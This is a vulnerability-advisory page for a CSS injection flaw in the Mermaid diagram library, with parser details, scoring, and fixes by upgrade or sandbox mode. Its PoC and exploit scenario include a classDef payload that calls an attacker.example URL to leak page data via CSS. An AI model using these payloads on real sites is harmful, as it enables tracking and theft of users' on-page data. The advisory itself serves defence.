Skip to main content

Mermaid CVE-2026-41148

MEDIUM
Code Injection (CWE-94)
2026-05-11 https://github.com/mermaid-js/mermaid GHSA-xcj9-5m2h-648r
5.3
CVSS 4.0 · Vendor: https://github.com/mermaid-js/mermaid
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit diagram with malicious classDef value
  2. Delivery
    Jison regex captures string without restriction
  3. Exploit
    String passed unsanitized to style.innerHTML
  4. Execution
    Injected `}` closes CSS selector, appending attacker-controlled rules
  5. Persist
    Victim loads page, browser applies injected CSS
  6. Impact
    CSS url() callbacks or :has() selectors exfiltrate DOM data to attacker server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application renders Mermaid diagrams from user-controlled input and has not configured securityLevel: "sandbox" (the sandbox setting is non-default and must be explicitly enabled). The attacker must be able to submit a diagram containing a classDef directive - this affects stateDiagram-v2 and any other diagram type that routes through createCssStyles. The victim must view the page containing the rendered diagram (CVSS UI:P). Exploitation is strictly limited to CSS-level impact: no JavaScript execution is possible via this vector. Exfiltration via url() callbacks requires the victim's browser to make outbound HTTP requests for CSS background resources, which all major browsers do by default. The sandbox workaround (securityLevel: sandbox) is a complete mitigation as it renders the diagram in an isolated <iframe>.

Impact

The CVSS 4.0 score of 5.3 (Medium) correctly characterizes the bounded impact: the attack is network-accessible with no authentication required and low complexity, but requires a victim to view the rendered diagram (UI:P), and the direct impact is limited to low-integrity modification of the vulnerable system and low subsequent-system integrity/confidentiality effects. EPSS at 0.06% (18th percentile) indicates low observed exploitation probability, consistent with no KEV listing. However, a functional public PoC with a live demo is confirmed, which meaningfully lowers the bar for exploitation beyond what the low EPSS implies - EPSS reflects historical scanning patterns, not manual exploitation scenarios. The intelligence feed tags this as 'RCE', which appears to be a mislabeling; confirmed impact is CSS injection with no JavaScript execution pathway. Real-world risk is highest for platforms that render user-supplied Mermaid diagrams without sandboxing (wikis, documentation sites, collaborative tools), where CSS :has() side-channels can silently exfiltrate visible DOM content to attacker-controlled servers.

Exploit ScenarioDerived

An attacker submits a Mermaid diagram containing classDef x }*{ background-image: url("https://attacker.example/track")} to a platform that renders user-supplied diagrams (e.g., a project wiki or docs site). When a victim user views the page, Mermaid writes the unsanitized value to style.innerHTML, injecting a wildcard CSS rule that triggers outbound HTTP requests to the attacker's server; combined with CSS :has() selectors, the attacker can encode visible DOM content (such as OTP values or session identifiers) into the request URL. A functional public PoC and live demo are confirmed in GHSA-xcj9-5m2h-648r.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

CSS injection in Mermaid's diagram rendering engine (npm/mermaid v11.14.0 and earlier, v10.9.5 and earlier) allows attackers who can supply diagram input to inject arbitrary CSS rules into the host page. The flaw exists because classDef style strings are captured by an unrestricted Jison regex and written unsanitized to style.innerHTML, enabling page defacement, user tracking via CSS url() callbacks, and DOM attribute exfiltration via CSS :has() selectors. A public proof-of-concept with a live demo is confirmed in the GHSA advisory; no CISA KEV listing at time of analysis.

RemediationAI

Upgrade to Mermaid v11.15.0 (commit e9b0f34d8d82a6260077764ee45e1d7d90957a0f) or v10.9.6 (commit 8fead23c59166b7bab6a39eac81acebee2859102) per the release pages at https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0 and https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6. If immediate patching is not feasible, set "securityLevel": "sandbox" in the Mermaid configuration (documented at https://mermaid.js.org/config/schema-docs/config.html#securitylevel), which renders diagrams inside a sandboxed <iframe> and fully prevents injected CSS from reaching the host page; note this changes rendering behavior and may break integrations that depend on parent-page stylesheet access. No other confirmed compensating controls are available from the advisory data.

Affected Packages

npm mermaid fix: 10.9.6, 11.15.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Mermaid uses a Jison-based parser for state diagrams (stateDiagram.jison:83) where the rule <CLASSDEFID>[^\n]* captures any content on the line following a classDef keyword without restriction. The captured value flows unsanitized through addStyleClass() → createCssStyles() → assignment to style.innerHTML in mermaidAPI.ts:418. Because the string is interpolated directly into a CSS rule, injecting a } character terminates the generated selector block and allows arbitrary CSS rules to be appended to the host page's stylesheet. This affects state diagrams and any other diagram type that routes user-controlled style strings through createCssStyles. CWE-94 (Improper Control of Generation of Code) is the root cause class; the specific manifestation is CSS injection rather than script execution. The affected packages are pkg:npm/mermaid across both the v10 and v11 release branches.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/mermaid-js/mermaid) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
vuln.today AI 6.1 MEDIUM

Network-accessible with no auth (PR:N), requires victim to view the diagram page (UI:R), and scope changes (S:C) as injected CSS escapes the diagram component to affect the host page; CSS exfiltration yields low confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Red Hat 5.4 MEDIUM

Primary rating from Vendor (https://github.com/mermaid-js/mermaid).

CVSS VectorVendor: https://github.com/mermaid-js/mermaid

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

2
CVSS changed
May 26, 2026 - 19:37 NVD
5.3 (MEDIUM)
CVE Published
May 11, 2026 - 19:36 nvd
MEDIUM

DescriptionCVE.org

Details

The state diagram and any other diagram type that routes user-controlled style strings through createCssStyles parser for Mermaid v11.14.0 and earlier captures classDef values with an unrestricted regex:

jison
// packages/mermaid/src/diagrams/state/parser/stateDiagram.jison:83
<CLASSDEFID>[^\n]*   { this.popState(); return 'CLASSDEF_STYLEOPTS' }

The value passes unsanitized through addStyleClass() -> createCssStyles() -> style.innerHTML (mermaidAPI.ts:418). A } in the value closes the generated CSS selector, and everything after becomes a new CSS rule on the page.

PoC

stateDiagram-v2
      classDef x }*{ background-image: url("http://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif")}

Live demo: <https://mermaid.live/edit#pako:eNpFjzFvgzAQhf-KdVNbEcBgMHhtlkqtOnSJKi8ONsYKBmRMlRTx3-skanvTfbp7996t0IxSAYPZC6_2Rmgn7O4rQ00v5nmvWnRG29OKjqI5aTcug9wZK7RiaHH9A4fO-4kliVXSiFibqbvEzWjvnHxo_fI6vR3e6cGXyX2qTcvhcYMItDMSmHeLisAqZ8UVYeUDQhx8p6ziwEIrhTtx4MNVM4nhcxztrywE0h2wVvRzoGWS_z_8rahBKvcckntgmN5OAFvhDIzUNCZZQXCR5nVaZkUEF2BVFpOcEkoxxhUuyRbB980yjStapKHqoKFlhvPtB7BFZEU>

Patches

This has been patched in:

Workarounds

Setting "securityLevel": "sandbox" will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.

Impact

Enables page defacement, user tracking via url() callbacks, and DOM attribute exfiltration via CSS :has() selectors.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Prevalence
Medium
widely used diagramming library in documentation and wiki platforms
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/mermaid
pkg:npm/mermaid

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy